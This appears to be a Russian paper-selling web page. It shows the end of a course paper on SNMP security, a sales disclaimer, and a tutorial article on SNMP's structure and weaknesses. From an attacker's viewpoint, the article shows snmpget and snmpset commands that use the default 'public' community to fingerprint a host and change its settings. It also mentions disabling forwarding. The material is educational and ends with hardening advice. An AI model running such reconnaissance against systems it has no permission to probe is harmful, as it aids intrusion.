точки зрения безопасности, в частности, в крупных и сложных сетях;получение ценной информации о случившихся проникновениях, чтобы восстановить и исправить факторы, приведшие к проникновению;выявление местоположения источника атаки с точки зрения внешней сети (внешние или внутренние атаки), что позволяет принять верные решения при расстановке узлов сети.В общем случае IDS содержит:подсистему наблюдения, которая собирает информацию о событиях, имеющих отношение к безопасности защищаемой сети или системы;подсистему анализа, которая обнаруживает подозрительные действия и сетевые атаки;хранилище, которое хранит первичные события и результаты анализа;консоль управления для настройки IDS, наблюдения за состоянием защищаемой системы и IDS, изучения обнаруженных подсистемой анализа ситуаций.Подводя итог, отметим, чтопростота популярного протокола SNMP имеет своим следствием повышенную уязвимость. Поскольку SNMP применяется очень широко, эксплуатация сетей с уязвимыми продуктами может привести к гибельным последствиям. Поэтому для эффективного применения протокола SNMP следует применять различные способы предотвращения атак и строить комплексную систему защиты.ЗАКЛЮЧЕНИЕИсследование посвящено вопросам обеспечения безопасности организации сетевого взаимодействия посредством протокола SNMP. В процессе работы были выявлены особенности названного протокола и возможные проблемы его использования. Для обоснования проблемы приведены статистические данные, подтверждающие высокую вероятность реализации сетевых атак. Кроме того, теоретическая часть содержит сведения о структуре протокола, схему запросов/откликов и этапы получения ответов на запросы.В рамках курсовой работы проведен анализ возможных атак на протокол SNMP, среди которых можно выделить Dos-атаки, атаки типа «Переполнение буфера» и использующие уязвимости форматной строки. Конечно, потенциально возможных угроз гораздо больше, но их обзор предусматривает более глубокое и всесторонне исследование.Для построения системы защиты сетевого взаимодействия абонентов сети были рассмотрены способы предотвращения атак на протокол SNMPи отмечено, что эффективным будет применение комплекса средств.На основе анализа выявлено, что протоколSNMP достаточно уязвим и, если все-таки принято решение о его использовании, следует разработать политику безопасности и придерживаться всех ее принципов.Таким образом, можно сделать вывод о достижении цели и решении задач, определенных во введении.СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВНормативно-правовые актыФедеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации Список специализированной и научной литературыБланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13–14 февраля 2013 г.). – В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. – Орел: Академия ФСО России, 2013.Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт – М.:Символ-Плюс, 2012.-725с.Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. – М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. – 389с.Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. – 544 с.Хореев П.В. Методы и средства защиты информации в компьютерных системах. – М.: издательский центр "Академия", 2005. –205 с.Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.Интернет-источникиIDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdfКолищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.aspПервая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMPИностраннаялитература"CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Список литературы

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ
Нормативно-правовые акты
1. Федеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации
Список специализированной и научной литературы
2. Бланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.
3. Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13–14 февраля 2013 г.). – В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. – Орел: Академия ФСО России, 2013.
4. Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,
5. Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт – М.:Символ-Плюс, 2012.-725с.
6. Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.
7. Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.
8. Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с.
9. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. – М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. – 389с.
10. Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. – 544 с.
11. Хореев П.В. Методы и средства защиты информации в компьютерных системах. – М.: издательский центр "Академия", 2005. –205 с.
12. Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.
Интернет-источники
13. IDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Колищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Первая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMP
Иностраннаялитература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Пожалуйста, внимательно изучайте содержание и фрагменты работы. Деньги за приобретённые готовые работы по причине несоответствия данной работы вашим требованиям или её уникальности не возвращаются.

* Категория работы носит оценочный характер в соответствии с качественными и количественными параметрами предоставляемого материала. Данный материал ни целиком, ни любая из его частей не является готовым научным трудом, выпускной квалификационной работой, научным докладом или иной работой, предусмотренной государственной системой научной аттестации или необходимой для прохождения промежуточной или итоговой аттестации. Данный материал представляет собой субъективный результат обработки, структурирования и форматирования собранной его автором информации и предназначен, прежде всего, для использования в качестве источника для самостоятельной подготовки работы указанной тематики.

Данная статья посвящена протоколу SNMP (Simple Network Management Protocol) - одному из протоколов модели OSI, который практически не был затронут в документации просторов RU-нета. Автор попытался заполнить этот вакуум, предоставив читателю почву для размышлений и самосовершенствования, касательно этого, возможно нового для Вас, вопроса. Этот документ не претендует на звание "документации для разработчика", а просто отражает желание автора, насколько это возможно, осветить аспекты работы с данным протоколом, показать его слабые места, уязвимости в системе "security", цели преследованные создателями и объяснить его предназначение.

Предназначение

Протокол SNMP был разработан с целью проверки функционирования сетевых маршрутизаторов и мостов. Впоследствии сфера действия протокола охватила и другие сетевые устройства, такие как хабы, шлюзы, терминальные сервера, LAN Manager сервера, машины под управлением Windows NT и т.д. Кроме того, протокол допускает возможность внесения изменений в функционирование указанных устройств.

Теория

Основными взаимодействующими лицами протокола являются агенты и системы управления. Если рассматривать эти два понятия на языке "клиент-сервер", то роль сервера выполняют агенты, то есть те самые устройства, для опроса состояния которых и был разработан рассматриваемый нами протокол. Соответственно, роль клиентов отводится системам управления - сетевым приложениям, необходимым для сбора информации о функционировании агентов. Помимо этих двух субъектов в модели протокола можно выделить также еще два: управляющую информацию и сам протокол обмена данными.

"Для чего вообще нужно производить опрос оборудования?" - спросите Вы. Постараюсь пролить свет на этот вопрос. Иногда в процессе функционирования сети возникает необходимость определить определенные параметры некоторого устройства, такие как, например, размер MTU, количество принятых пакетов, открытые порты, установленную на машине операционную систему и ее версию, узнать включена ли опция форвардинга на машине и многое другое. Для осуществления этого как нельзя лучше подходят SNMP клиенты.

Помимо сказанного выше рассматриваемый протокол обладает еще одной весьма важной особенностью, а именно возможностью модифицировать данные на агентах. Безусловно, было бы глупостью разрешить модификацию абсолютно любого параметра, но,не смотря на это, и количество тех параметров, для которых допускается операция записи просто пугает. С первого взгляда это полностью опровергает всю теорию сетевой безопасности, но, если углубиться в вопрос, то становится ясно, что не все так запущено, как кажется с первого взгляда. "Волков бояться - в лес не ходить". Ведь при небольших усилиях администратора сети можно свести риск успешного завершения атаки к минимуму. Но этот аспект мы обсудим позже.

Остановимся на том, какую же все-таки информацию может почерпнуть система управления из недр SNMP. Вся информация об объектах системы-агента подержится в так называемой MIB (management information base) - базе управляющей информации, другими словами MIB представляет собой совокупность объектов, доступных для операций записи-чтения для каждого конкретного клиента, в зависимости от структуры и предназначения самого клиента. Ведь не имеет смысла спрашивать у терминального сервера количество отброшенных пакетов, так как эти данные не имеют никакого отношения к его работе, так как и информация об администраторе для маршрутизатора. Потому управляющая система должна точно представлять себе, что и у кого запрашивать. На данный момент существует четыре базы MIB:

1. Internet MIB - база данных объектов для обеспечения диагностики ошибок и конфигураций. Включает в себя 171 объект (в том числе и объекты MIB I).
2. LAN manager MIB - база из 90 объектов - пароли, сессии, пользователи, общие ресурсы.
3. WINS MIB - база объектов, необходимых для функционирования WINS сервера (WINSMIB.DLL).
4. DHCP MIB - база объектов, необходимых для функционирования DHCP сервера (DHCPMIB.DLL), служащего для динамического выделения IP адресов в сети.

Все имена MIB имеют иерархическую структуру. Существует десять корневых алиасов:

1. System - данная группа MIB II содержит в себе семь объектов, каждый из которых служит для хранения информации о системе (версия ОС, время работы и т.д.).
2. Interfaces - содержит 23 объекта, необходимых для ведения статистики сетевых интерфейсов агентов (количество интерфейсов, размер MTU, скорость передачи, физические адреса и т.д.) .
3. AT (3 объекта) - отвечают за трансляцию адресов. Более не используется. Была включена в MIB I. Примером использования объектов AT может послужить простая ARP таблица (более подробно об ARP протоколе можно почитать в статье "Нестандартное использование протокола ARP", которую можно найти на сайте www.uinc.ru в разделе "Articles") соответствия физических (MAC) адресов сетевых карт IP адресам машин. В SNMP v2 эта информация была перенесена в MIB для соответствующих протоколов.
4. IP (42 объекта) - данные о проходящих IP пакетах (количество запросов, ответов, отброшенных пакетов).
5. ICMP (26 объектов) - информация о контрольных сообщениях (входящие/исходящие сообщения, ошибки и т.д.).
6. TCP (19) - все, что касается одноименного транспортного протокола (алгоритмы, константы, соединения, открытые порты и т.п.).
7. UDP (6) - аналогично, только для UDP протокола (входящие/исходящие датаграммы, порты, ошибки).
8. EGP (20) - данные о трафике Exterior Gateway Protocol (используется маршрутизаторами, объекты хранят информацию о принятых/отосланных/отброшенных кардах).
9. Transmission - зарезервирована для специфических MIB.
10. SNMP (29) - статистика по SNMP - входящие/исходящие пакеты, ограничения пакетов по размеру, ошибки, данные об обработанных запросах и многое другое.

Каждый из них представим в виде дерева, растущего вниз, (система до боли напоминает организацию DNS). Например, к адресу администратора мы можем обратиться посредством такого пути: system.sysContact.0 , ко времени работы системы system.sysUpTime.0 , к описанию системы (версия, ядро и другая информация об ОС) : system.sysDescr.0 . С другой стороны те же данные могут задаваться и в точечной нотации. Так system.sysUpTime.0 соответствует значение 1.3.0, так как system имеет индекс "1" в группах MIB II, а sysUpTime - 3 в иерархии группы system. Ноль в конце пути говорит о скалярном типе хранимых данных. Ссылку на полный список (256 объектов MIB II) Вы можете найти в конце статьи в разделе "Приложение". В процессе работы символьные имена объектов не используются, то есть если менеджер запрашивает у агента содержимое параметра system.sysDescr.0, то в строке запроса ссылка на объект будет преобразована в "1.1.0", а не будет передана "как есть". Далее мы рассмотрим BULK-запрос и тогда станет ясно, почему это столь важно. На этом мы завершим обзор структуры MIB II и перейдем непосредственно к описанию взаимодействия менеджеров (систем управления) и агентов. В SNMP клиент взаимодействует с сервером по принципу запрос-ответ. Сам по себе агент способен инициировать только оно действие, называемое ловушкой прерыванием (в некоторой литературе "trap" - ловушка). Помимо этого, все действия агентов сводятся к ответам на запросы, посылаемые менеджерами. Менеджеры же имеют гораздо больший "простор для творчества", они в состоянии осуществлять четыре вида запросов:

• GetRequest - запрос у агента информации об одной переменной.
• GetNextRequest - дает агенту указание выдать данные о следующей (в иерархии) переменной.
• GetBulkRequest - запрос за получение массива данных. При получении такового, агент проверяет типы данных в запросе на соответствие данным из своей таблицы и цикле заполняет структуру значениями параметров: for(repeatCount = 1; repeatCount < max_repetitions; repeatCount++) Теперь представьте себе запрос менеджера на получение списка из сотни значений переменных, посланный в символьном виде, и сравните размер такового с размером аналогичного запроса в точечной нотации. Думаю, Вы понимаете, к чему привела бы ситуация, если бы символьные имена не преобразовывались вышеуказанным образом.
• SetRequest - указание установить определенное значение переменой.

Кроме этого менеждеры могут обмениваться друг с другом информацией о своей локальной MIB. Такой тип запросов носит название InformRequest.

Приведу значения числовых констант для всех видов запросов:

#define SNMP_MSG_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
/* PDU для SNMPv1 */
#define SNMP_MSG_TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
/* PDU для SNMPv2 */
#define SNMP_MSG_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2 (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)

Вот тут то мы сталкиваемся с еще одной интересной деталью, как видите для ловушке есть 2 числовые константы. На самом деле существует 2 основные версии протокола SNMP (v1 & v2) и самое важное то, что они не являются совместимыми (на самом деле версий значительно больше -SNMP v2{p | c | u} etc, только все эти модификации довольно незначительны, так как, например, введение поддержки md5 и т.п.). SNMP - протокол контроля и диагностики, в связи с чем, он рассчитан на ситуации, когда нарушается целостность маршрутов, кроме того в такой ситуации требуется как можно менее требовательный с аппаратуре транспортный протокол, потому выбор был сделан в сторону UDP. Но это не значит, что никакой другой протокол не может переносить пакеты SNMP. Таковым может быть IPX протокол (например, в сетях NetWare) , также в виде транспорта могут выступать карды Ethernet, ячейки ATM. Отличительной особенностью рассматриваемого протокола есть то, что передача данных осуществляется без установки соединения.

Допустим менеджер послал несколько пакетов разным агентам, как же системе управления в дальнейшем определить какой из приходящих пакетов касается 1ого и 2ого агента? Для этого каждому пакету приписывается определенный ID - числовое значение. Когда агент получает запрос от менеджера, он генерирует ответ и вставляет в пакет значение ID , полученное им из запроса (не модифицирую его). Одним из ключевых понятий в SNMP является понятие group (группа). Процедура авторизации менеджера представляет собой простую проверку на принадлежность его к определенной группе, из списка, находящегося у агента. Если агент не находит группы менеджера в своем списке, их дальнейшее взаимодействие невозможно. До этого мы несколько раз сталкивались с первой и второй версией SNMP. Обратим внимание на отличие между ними. Первым делом заметим, что в SNMP v2 включена поддержка шифрования трафика, для чего, в зависимости от реализации, используются алгоритмы DES, MD5 . Это ведет к тому что при передаче данных наиболее важные данные недоступны для извлечения сниффингом, в том числе и информация о группах сети. Все это привело в увеличению самого трафика и усложнению структуры пакета. Сам по себе, на данный момент, v2 практически нигде не используется. Машины под управлением Windows NT используют SNMP v1. Таким образом мы медленно переходим к, пожалуй, самой интересной части статьи, а именно к проблемам Security. Об этом давайте и поговорим...

Практика и безопасность

В наше время вопросы сетевой безопасности приобретают особое значение, особенно когда речь идет о протоколах передачи данных, тем более в корпоративных сетях. Даже после поверхностного знакомства с SNMP v1/v2 становится понятно, что разработчики протокола думали об этом в последнюю очередь или же их жестко поджимали сроки сдачи проекта %-). Создается впечатление что протокол рассчитан на работу в среде так называемых "доверенных хостов". Представим себе некую виртуальную личность. Человека, точнее некий IP адрес, обладатель которого имеет намерение получить выгоду, либо же просто насолить администратору путем нарушения работы некой сети. Станем на место этой особы. Рассмотрение этого вопроса сведем к двум пунктам:

• a) мы находимся вне "враждебной сети". Каким же образом мы можем совершить свое черное дело? В первую очередь предполагаем что мы знаем адрес шлюза сети. Согласно RFC, соединение системы управления с агентом происходит по 161-ому порту (UDP). Вспомним о том что для удачной работы необходимо знание группы. Тут злоумышленнику на помощь приходит то, что зачастую администраторы оставляют значения (имена) групп, выставленные по умолчанию, а по умолчанию для SNMP существует две группы - "private" и "public". В случае если администратор не предусмотрел подобного развития событий, недоброжелатель может доставить ему массу неприятностей. Как известно, SNMP протокол является частью FingerPrintering. При желании, благодаря группе system MIB II, есть возможность узнать довольно большой объем информации о системе. Чего хотя бы стоит read-only параметр sysDescr. Ведь зная точно версию программного обеспечения, есть шанс, используя средства для соответствующей ОС получить полный контроль над системой. Я не зря упомянул атрибут read-only этого параметра. Ведь не порывшись в исходниках snmpd (в случае UNIX подобной ОС), этот параметр изменить нельзя, то есть агент добросовестно выдаст злоумышленнику все необходимые для него данные. А ведь не надо забывать о том, что реализации агентов под Windows поставляются без исходных кодов, а знание операционной системы - 50% успеха атаки. Кроме того, вспомним про то, что множество параметров имеют атрибут rw (read-write), и среди таких параметров - форвардинг! Представьте себе последствия установки его в режим "notForwarding(2)". К примеру в Linux реализации ПО для SNMP под название ucd-snmp есть возможность удаленного запуска скриптов на сервера, путем посылки соответствующего запроса. Думаю, всем понятно к чему могут привести "недоработки администратора".
• б) злоумышленник находится на локальной машине. В таком случае вероятность увольнения админа резко возрастает. Ведь нахождение в одном сегменте сети дает возможность простым сниффингом отловить названия групп, а с ними и множество системной информации. Этого случая также касается все сказанное в пункте (а).

Перейдем к "практическим занятиям". Что же может на понадобиться. В первую очередь программное обеспечение. Его можно достать на . Примеры я буду приводить для ОС Линукс, но синтаксис команд аналогичен Windows ПО.

Установка пакета стандартна:

gunzip udc-snmp-3.5.3.tar.gz
tar -xvf udc-snmp-3.5.3.tar
cd udc-snmp-3.5.3
./configure
make
make install

Запуск демона (агента)

После инсталяции Вам доступны программы:

snmpget
snmpset
snmpgetnext
snmpwalk
snmpbulkwalk
snmpcheck
snmptest
snmpdelta
snmpnetstat snmpstatus
snmptable
snmptrap
snmptranstat
и демон
snmptrapd

Посмотрим, как выглядят описанные выше операции на практике.

Запрос GetRequest реализует одноименная программа snmpget

Для получения необходимой информации выполним следующую команду:

[email protected]:~# snmpget 10.0.0.2 public system.sysDescr.0

На что сервер добросовестно сообщит нам:

system.sysDescr.0 = Hardware: x86 Family 6 Model 5 Stepping 0 AT/AT COMPATIBLE - Software: Windows NT Version 4.0 (Build Number: 1381 Uniprocessor Free)

(не правда ли - довольно содержательно), либо же

system.sysDescr.0 = Linux darkstar 2.4.5 #1 SMP Fri Aug 17 09:42:17 EEST 2001 i586

Прямо-таки - руководство по проникновению.

Допустим, мы хотим что-либо изменить в настройках агента. Проделаем следующую операцию:

[email protected]:~# snmpset 10.0.0.2 public system.sysContact.0 s [email protected]

и получим ответ:

system.sysContact.0 = [email protected]

Список объектов MIB II с атрибутами можно найти пойдя по ссылке, указанной в "Приложении".

Думаю, настало время рассмотреть SNMP на пакетном уровне. Этот пакет был отловлен сниффером NetXRay на сетевом интерфейсе агента:

Как видим - практика не далека от теории. Наблюдаем Request ID и параметры запроса. На полном скриншоте можно увидеть стек протоколов - от кадров Ethernet, через UDP доходим до самого Simple Network Management Protocol:

А этот пакет был получен с интерфейса менеджера:

Как видите, название группы абсолютно никак не шифруется (о чем в свою очередь говорит Protocol version number: 1). Хочется отметить, что согласно спецификации протокола, пакеты SNMP не имеют четко определенной длины. Существует ограничение сверху равное длине UDP сообщения, равное 65507 байт, в свою очередь сам пртокол накладывает другое максимальное значение - лишь 484 байта. В свою очередь не имеет установленного значения и длина заголовка пакета (headerLength).

Ну вот мы в общих чертах и ознакомились с протоколом SNMP. Что еще можно добавить к сказанному выше... Можно лишь дать пару советов сетевым администраторам, дабы уменьшить риск возникновения пролем с безопасностью сети... В первую очередь должное внимание следует уделить настройке файрволинга. Во-вторых - изменить установленные по умоланию имена групп. Разумным было бы жестко зафиксировать адреса машин (менеджеров), с которых разрешается опрос агентов. На этом, считаю, статью можно и закончить. Хочется верить, что она показалась Вам интересной.